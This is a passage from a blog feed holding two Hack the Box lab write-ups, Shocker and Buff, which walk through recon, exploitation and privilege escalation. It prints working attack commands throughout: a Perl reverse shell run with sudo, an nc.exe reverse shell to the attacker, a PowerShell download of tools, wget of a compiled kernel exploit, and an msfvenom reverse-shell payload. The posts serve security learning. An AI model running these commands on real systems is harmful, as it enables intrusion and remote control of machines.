<p>I proceeded to start a new listener on port 9001 on my local machine and then used a Perl reverse shell to connect back to my machine using sudo. </p>
<pre><code><span class="hljs-attribute">nc</span> -nlvp <span class="hljs-number">9001</span>
</code></pre><pre><code>sudo perl -e 'use <span class="hljs-type">Socket</span>;$i=<span class="hljs-string">"10.10.14.7"</span>;$p=<span class="hljs-number">9001</span>;socket(<span class="hljs-type">S</span>,<span class="hljs-type">PF_INET</span>,<span class="hljs-type">SOCK_STREAM</span>,getprotobyname(<span class="hljs-string">"tcp"</span>));<span class="hljs-keyword">if</span>(connect(<span class="hljs-type">S</span>,sockaddr_in($p,inet_aton($i)))){<span class="hljs-keyword">open</span>(<span class="hljs-type">STDIN</span>,<span class="hljs-string">"&gt;&amp;S"</span>);<span class="hljs-keyword">open</span>(<span class="hljs-type">STDOUT</span>,<span class="hljs-string">"&gt;&amp;S"</span>);<span class="hljs-keyword">open</span>(<span class="hljs-type">STDERR</span>,<span class="hljs-string">"&gt;&amp;S"</span>);exec(<span class="hljs-string">"/bin/sh -i"</span>);};'
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1621725658572/VhxAnE2DG.png" alt="root1.png" /></p>
<p>And I got ROOT :) </p>
<p><strong> PE Route 2: Kernel Exploit </strong></p>
<p>According to the uname command the system is running the Linux Kernel version 4.4.0-96 </p>
<pre><code><span class="hljs-attribute">uname</span> -a 
<span class="hljs-attribute">Linux</span> Shocker <span class="hljs-number">4</span>.<span class="hljs-number">4</span>.<span class="hljs-number">0</span>-<span class="hljs-number">96</span>-generic #<span class="hljs-number">119</span>-Ubuntu SMP Tue Sep <span class="hljs-number">12</span> <span class="hljs-number">14</span>:<span class="hljs-number">59</span>:<span class="hljs-number">54</span> UTC <span class="hljs-number">2017</span> x<span class="hljs-number">86</span>_<span class="hljs-number">64</span> x<span class="hljs-number">86</span>_<span class="hljs-number">64</span> x<span class="hljs-number">86</span>_<span class="hljs-number">64</span> GNU/Linux
</code></pre><p>After reviewing the Kernel version  and doing some Googling I found the following  Exploit on Exploit DB which seemed like a good candidate: </p>
<p>Linux Kernel &lt; 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation</p>
<p>https://www.exploit-db.com/exploits/44298</p>
<p>I copied the exploit from the searchploit and downloaded it using wget however for some reason it looked like gcc was not installed on the machine so I couldn't compile it there (or at least I couldn't find it).  Given that I have the same architecture on my Kali machine I compiled the exploit locally and then downloaded the compiled version on the victim machine. </p>
<p>Kali : </p>
<pre><code>gcc <span class="hljs-operator">-</span>o exploit <span class="hljs-number">44298</span>.c
python3 <span class="hljs-operator">-</span>m http.server <span class="hljs-number">9000</span>
</code></pre><p>Shocker:  </p>
<pre><code>wget <span class="hljs-number">10.10</span><span class="hljs-number">.14</span><span class="hljs-number">.7</span>:<span class="hljs-number">9000</span><span class="hljs-operator">/</span>exploit
chmod <span class="hljs-operator">+</span>x exploit
./exploit
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1621727590740/0Ue8cYcY9.png" alt="root2.png" /></p>
<p>And that's was it,  I got ROOT (again :P )  </p>
<h3 id="heading-wrapping-up">Wrapping up</h3>
<p><strong>Things I learned</strong> </p>
<ul>
<li><p>CGI files are not limited to .cgi o .pl but can also be .sh or even .py. </p>
</li>
<li><p>This box reminded me that /cgi-bin and /cgi-bin/ are not the same thing. While I already knew this part I did not know that ffuf by default only looks for directory names without the trailing slash so if you are fuzzing directories it is always good include a -e "/" parameter so that ffuf looks for the directory name with and without the trailing slash (dirbuster style). </p>
</li>
</ul>
<p><strong>Mistakes I made</strong></p>
<p>I spent way too much time looking for a file under /cgi-bin/ directory, I was positive that the vulnerability was there so I kept looking and trying different things. I tried all sorts of wordlists,  from seclists to dirbuster's, I even switched form ffuf to gobuster to dirbuster.  </p>
<p>At the end of the day I ended looking for a hint which pointed me in the right direction (the .sh extension) that and was probably the real mistake, not asking for help or looking for hints after some reasonable time.  In any case while you should try at all costs to do this on your own but for the learning experience it is OK to ask for help. Some things you just don't know ¯_(ツ)_/¯  (yet) </p>
<p><strong> References </strong> </p>
<p>One resource that found to be very useful especially if you are getting used to ffuf is Codingo's  <a target="_blank" href="https://codingo.io/tools/ffuf/bounty/2020/09/17/everything-you-need-to-know-about-ffuf.html">Everything you need to know about FFUF</a> </p>
<p>Finally, if you enjoyed this and you feel like buying me a beer, please knock yourself out: </p>
<p> <a target="_blank" href="https://www.buymeacoffee.com/Ragab0t">Ragab0t buy me a beer</a>  </p>
<h3 id="heading-happy-hacking">Happy Hacking!</h3>
<p>~Ragab0t 🤖</p>
]]></content:encoded></item><item><title><![CDATA[Hack the Box - Buff Walk-through]]></title><description><![CDATA[Disclaimer
 This blog is related to Computer Security and Ethical hacking and does not promote hacking, cracking, software piracy or any kind of illegal activities. The blog is for informational and educational purpose and for those willing to learn ...]]></description><link>https://blog.ragab0t.com/htb-buff</link><guid isPermaLink="true">https://blog.ragab0t.com/htb-buff</guid><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Luis Diego Raga]]></dc:creator><pubDate>Mon, 23 Nov 2020 05:18:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1603666521489/j5WdM__XQ.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="disclaimer">Disclaimer</h1>
<p> This blog is related to Computer Security and Ethical hacking and does not promote hacking, cracking, software piracy or any kind of illegal activities. The blog is for informational and educational purpose and for those willing to learn about ethical hacking and penetration testing.  </p>
<p>You shall not misuse the information to gain unauthorized access. Performing hack attempts (without permission) on computers that you do not own is illegal.</p>
<h1 id="hello-everyone">Hello Everyone!</h1>
<p>Today we are going to look the steps I followed to conquer Buff, a vulnerable machine on  <a target="_blank" href="https://www.hackthebox.eu">Hack the Box</a>. Hack The Box is an online platform allowing you to test and advance your skills in cyber security. </p>
<p>Before we start, some terminology:</p>
<p><strong>Attacker Machine</strong>: typically your Kali, Parrot, etc machine that you use to connect to the HTB Lab. In this example I'm using an IP address of <strong>10.10.14.12.</strong>  Notice that in the case of Hack the box this IP will change since it is assigned by the VPN server which assigns an IP on the 10.10.x.x network. </p>
<p><strong>Target Machine</strong>: the machine we are attacking (notice that this is a lab environment we do have express permission to attack this machine). The IP address for the target machine is <strong>10.10.10.198.</strong> </p>
<p><strong>Step 1 Recon and Fingerprinting </strong></p>
<p>OK the first thing I did here is a quick nmap scan to discover open ports and start poking at things manually. I then followed with a more thorough nmap scan using the nmap scripting service (if you wonder why I disabled some of the script checks that is because either they too slow or not applicable to environments that are not connected to the Internet such as a lab environment) </p>
<pre><code><span class="hljs-selector-tag">nmap</span> <span class="hljs-selector-tag">-sS</span> <span class="hljs-selector-tag">-sV</span> 10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.198</span>
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1604159421408/7XFoz5euO.png" alt="Nmap1.png" /></p>
<pre><code><span class="hljs-attribute">nmap</span> -sS -sV -O -T<span class="hljs-number">4</span> -r --script <span class="hljs-string">"(default or auth or vuln or exploit or discovery"</span>) and not (dns-cache-snoop or broadcast or http-vuln-cve<span class="hljs-number">2013</span>-<span class="hljs-number">7091</span> or dns-brute or http-vuln-cve<span class="hljs-number">2011</span>-<span class="hljs-number">3192</span> or http-cross-domain-policy or http-slowloris* or http-google-malware or targets-* or *icloud*)<span class="hljs-string">" --script-args unsafe=1 -oA 10.10.10.198-NMAP-TCP 10.10.10.198</span>
</code></pre><p>Both nmap scans, showed that the machine is running a web application on port 8080. </p>
<p>After browsing the web app It looked like some kind of gym management application. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1604159980755/wgss3FwNz.png" alt="Gym1.png" /></p>
<p>After checking the application a bit more it looks like it is running "Gym Management System 1.0" </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1604160004478/8JZMF6DK5.png" alt="Gym2.png" /></p>
<p>A quick Google Search shows that there is a  <a target="_blank" href="https://www.netsparker.com/blog/web-security/remote-code-evaluation-execution/">Remote Code Execution</a>  vulnerability present on this particular version and there is an exploit on expoit-db.com for the same. </p>
<p>hxxps://www.exploit-db.com/exploits/48506</p>
<p>The vulnerability description from the exploit code reads: </p>
<p><em>"Gym Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters." </em></p>
<p><strong>Step 2 Exploitation - Foothold</strong></p>
<p>After quickly reviewing the code it looks like it can be run without any further modifications, so I saved it as 48506.py and proceded to run against our target. </p>
<pre><code><span class="hljs-attribute">python</span> <span class="hljs-number">48506</span>.py http://<span class="hljs-number">10.10.10.198:8080</span>/
</code></pre><p>Which gave me a nice shell: </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1604160230768/wJL33B0n_.png" alt="1-Foothold.png" /></p>
<p>However I couldn't move outside of the current directory, so I proceed to load some tools to attempt a privilege escalation. </p>
<p><strong>Step 2.5 Privilege Escalation - User </strong></p>
<p>Time to transfer some files. I transferred a zip file that contains the following executables </p>
<ul>
<li>nc.exe</li>
<li>plink.exe</li>
<li>winpeas.exe</li>
<li>acceschck.exe</li>
</ul>
<p>In this case I used a Powershell script to transfer the zip file. The zip file is hosted on a local web server that I'm running on my attacker machine. </p>
<pre><code><span class="hljs-keyword">echo</span> $storageDir = $pwd &gt; wget.ps1 
<span class="hljs-keyword">echo</span> $webclient = <span class="hljs-keyword">New</span>-<span class="hljs-keyword">Object</span> System.Net.WebClient &gt;&gt;wget.ps1 
<span class="hljs-keyword">echo</span> $url = <span class="hljs-string">"http://10.10.14.12/files/pe.zip"</span> &gt;&gt; wget.ps1 
<span class="hljs-keyword">echo</span> $file = <span class="hljs-string">"pe.zip"</span> &gt;&gt; wget.ps1
<span class="hljs-keyword">echo</span> $webclient.DownloadFile($url,$file) &gt;&gt;wget.ps1
type wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
</code></pre><p>Having transferred the file I used another Powershell command to unzip it: </p>
<pre><code><span class="hljs-selector-tag">powershell</span><span class="hljs-selector-class">.exe</span>  <span class="hljs-selector-tag">Expand-Archive</span> <span class="hljs-selector-tag">-Path</span> <span class="hljs-selector-tag">pe</span><span class="hljs-selector-class">.zip</span> <span class="hljs-selector-tag">-DestinationPath</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">xampp</span>\<span class="hljs-selector-tag">htdocs</span>\<span class="hljs-selector-tag">gym</span>\<span class="hljs-selector-tag">upload</span> <span class="hljs-selector-tag">-Force</span>
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1604160906378/3JP-0B2_y.png" alt="2-PE.png" /></p>
<p>Now that I had some tools ready to go, it was time use nc.exe and get a more stable  shell. </p>
<p>Before that I set up a listener on my Kali Machine and executed nc.exe on Buff: </p>
<pre><code><span class="hljs-attribute">nc</span> -nvlp <span class="hljs-number">7777</span>
</code></pre><pre><code><span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">xampp</span>\<span class="hljs-selector-tag">htdocs</span>\<span class="hljs-selector-tag">gym</span>\<span class="hljs-selector-tag">upload</span>\<span class="hljs-selector-tag">nc</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">-vn</span> 10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.14</span><span class="hljs-selector-class">.12</span> 7777 <span class="hljs-selector-tag">-e</span> <span class="hljs-selector-tag">cmd</span><span class="hljs-selector-class">.exe</span>
</code></pre><p>With the new shell I was now able to move outside of the xampp directory. It's time to go after that user flag </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1604322868571/mHUQSFtt7.png" alt="3-User_Flag.png" /></p>
<p>And that's our user flag :) </p>
<p><strong>Step 3 Privilege Escalation</strong></p>
<p>I tried a few things that did not work, but feel free to check them out yourself as I might have missed something. Sometimes these boxes have more than one privilege escalation avenue. </p>
<p>Things that  did not work for me: </p>
<ul>
<li>Kernel Exploits (checked system info with wesng.py)</li>
<li>Misconfigured services and credentials (checked using winpeas.exe) </li>
<li>Common User Errors (passwords in clear text laying around, etc). </li>
</ul>
<p>After checking the netstat output and listing the services that are listening and then comparing this to the open ports I found during our initial portscan, I noticed that were two ports open that were only visible from the inside: 3306 (mysql) and 8888. </p>
<p>Checking the User's default folder however yielded two results, both of which were interesting. </p>
<p>Tasks.bat file located under C:\Users\shaun\Documents&gt;. the file was world writable but I couldn't not find any scheduled task ran by System or an Admin associated to this file, which would had worked as potential privilege escalation vector. So, I moved this to the list of things that didn't work for PE. </p>
<p>CloudMe_1112.exe located under C:\Users\shaun\Downloads. This file appears to be the installer for the service Cloudme which by default runs on port 8888. </p>
<p>The following Powershell command can be used to check what service is running on a particular port, in this case 8888: </p>
<pre><code>powershell.exe <span class="hljs-keyword">Get</span>-Process -Id (<span class="hljs-keyword">Get</span>-NetTCPConnection -LocalPort <span class="hljs-number">8888</span>).OwningProcess
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1604320366498/26fXuS-B6.png" alt="3.5_CloudMe.png" /></p>
<p>After doing a quick research I found this exploit which affects version 1.11.2 and looked like a very good candidate. </p>
<p>https://www.exploit-db.com/exploits/48389</p>
<p>First I had to check to see if this service was being run by my user,  for this I used the tasklist command. The process did not show up under my current username (shaun) so most likely it was being run by another user, hopefully an administrator. </p>
<pre><code>tasklist /FO <span class="hljs-keyword">List</span> /FI <span class="hljs-string">"IMAGENAME eq CloudMe.exe"</span>  /v
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1604320298688/ImGOPlp0Q.png" alt="4_Tasklist.png" /></p>
<p>The only problem that I had at this point is that port 8888 was not visible from the outside so I didn't have a way to directly attack this service and try to exploit the vulnerability. </p>
<p><strong> SSH Tunnels to the Rescue </strong> </p>
<p>SSH is a very versatile protocol, and while 99% of the times we use it to connect to systems and execute commands on them we can also use it create SSH tunnels that would allow us to expose ports and services on remote systems that otherwise would not be visible. This is known as SSH port forwarding.  Here are a couple of links that might help you understand the concept if this is something new for you. </p>
<p>https://phoenixnap.com/kb/ssh-port-forwarding</p>
<p>https://www.ssh.com/ssh/tunneling/example</p>
<p>https://www.ssh.com/ssh/putty/putty-manuals/0.68/Chapter7.html</p>
<p>In this case I  used a Remote Port Forwarding technique that would allowed me to expose (port forward) the remote port 8888 from the remote machine on my local machine. I used plink.exe which is the command line equivalent of Putty.exe the popular ssh client for Windows. </p>
<p>Here is the full command that I needed to execute on the Windows box. Noticed that I uploaded plink.exe as part of the zip file that originally transferred as I started my quest for privilege escalation: </p>
<pre><code><span class="hljs-selector-tag">plink64</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">-ssh</span> <span class="hljs-selector-tag">-l</span> <span class="hljs-selector-tag">rax</span> <span class="hljs-selector-tag">-pw</span> <span class="hljs-selector-tag">sup3rs3cretpass</span> <span class="hljs-selector-tag">-N</span> <span class="hljs-selector-tag">-R</span> 10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.14</span><span class="hljs-selector-class">.12</span><span class="hljs-selector-pseudo">:8888</span><span class="hljs-selector-pseudo">:127.0.0.1</span><span class="hljs-selector-pseudo">:8888</span> 10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.14</span><span class="hljs-selector-class">.12</span> <span class="hljs-selector-tag">-P</span> 2222
</code></pre><p>Where the syntax goes as follows </p>
<pre><code>-ssh means  <span class="hljs-keyword">use</span> the protocol ssh 
-l specifies the <span class="hljs-keyword">user</span>, <span class="hljs-keyword">in</span> this <span class="hljs-keyword">case</span> the <span class="hljs-keyword">user</span> <span class="hljs-keyword">on</span>  my machine <span class="hljs-keyword">is</span> <span class="hljs-string">"rax"</span> 
-pw specifies the <span class="hljs-keyword">password</span> 
-N means <span class="hljs-keyword">do</span> <span class="hljs-keyword">no</span> <span class="hljs-keyword">start</span> a command shell 
-R specifies the <span class="hljs-string">"listen IP"</span>  
<span class="hljs-number">10.10</span><span class="hljs-number">.14</span><span class="hljs-number">.12</span>:<span class="hljs-number">8888</span>:<span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>:<span class="hljs-number">8888</span>,  the <span class="hljs-keyword">first</span> IP:Port tuple represents 
the remote <span class="hljs-keyword">system</span> were we will be port forwarding our traffic <span class="hljs-keyword">to</span> 
<span class="hljs-keyword">and</span> the <span class="hljs-keyword">second</span> IP:Port tuple represents the <span class="hljs-keyword">local</span> service <span class="hljs-keyword">from</span> which 
we will be port fowarding from. 
<span class="hljs-number">10.10</span><span class="hljs-number">.14</span><span class="hljs-number">.12</span> <span class="hljs-keyword">is</span> the attacker machine that will receive the incoming SSH <span class="hljs-keyword">connection</span> 
- P <span class="hljs-number">2222</span>, <span class="hljs-keyword">is</span> the destination port <span class="hljs-keyword">on</span> the attacker machine.
</code></pre><p>Notice that I was running SSH on my Kali box on port 2222. This is because after several failed attempts to establish the connection on the default port 22 I was not able to do it. After some investigation, and trying to get a simple nc shell back I realized that something was blocking my outgoing SSH connection on port 22 (Windows Firewall? ) </p>
<p>Before running the command on the remote host, I went back to my Kali machine to make sure that the SSH service is running on port 2222 and that I didn't have anything running on port 8888. </p>
<p>In this type of scenarios It is also useful to grep the /var/log/auth.log file to be able to see the incoming SSH connection in case something is not working </p>
<p>I ran the command and that added a new service listening on port 8888 on the local Kali Machine. </p>
<p>See below the output of the Kali Machine's netstat before and after starting the SSH tunnel with plink. Also notice the incoming connection on the auth.log file. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1604322369906/pFZpyO4su.png" alt="5_SSH-Tunnel.png" /></p>
<p>Now that was done, it was possible to access the service CloudMe running on the remote machine through the local machine's loopback address on port 8888. </p>
<pre><code>netstat -anop |  <span class="hljs-keyword">grep</span> <span class="hljs-number">8888</span> | <span class="hljs-keyword">grep</span> Listen
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1604322381594/3sF55Cdke.png" alt="6_SSH-Tunnel.png" /></p>
<p>Back to the exploit from Exploit DB. </p>
<p>The exploit was a Poc and all it did was open calc.exe so I modified it to generate a reverse shell back to my attacker computer at 10.10.14.12:</p>
<pre><code><span class="hljs-attribute">msfvenom</span> -p windows/shell_reverse_tcp LHOST=<span class="hljs-number">10.10.14.12</span> LPORT=<span class="hljs-number">9999</span> EXITFUNC=thread -b <span class="hljs-string">"\x00\x0d\x0a"</span> -f python
</code></pre><p>Having updated the payload on the exploit with the output from msfvenom, I proceeded to check the target IP address on the exploit code and luckily enough it was already pointing to 127.0.0.1 which is the target address(in reality the target IP address was 10.10.10.194 but remember that the service was being tunneled through my loopback)</p>
<p>I started a listener on port 9999 and  on a separate command shell ran the exploit. </p>
<p>Once that was done I got a shell back and I was able to confirm that I was now logged in as an Admin user.</p>
<p>Time to get the "root" flag: </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1604325048531/JmE5zgsbQ.png" alt="7_Exploit_Root_Flag.png" /></p>
<p>Alright, that's it for now. Let me know in the comments which machine or topic would you like to see next. </p>
<h3 id="happy-hacking">Happy Hacking!</h3>
<p>~Ragab0t 🤖</p>
]]></content:encoded></item></channel></rss>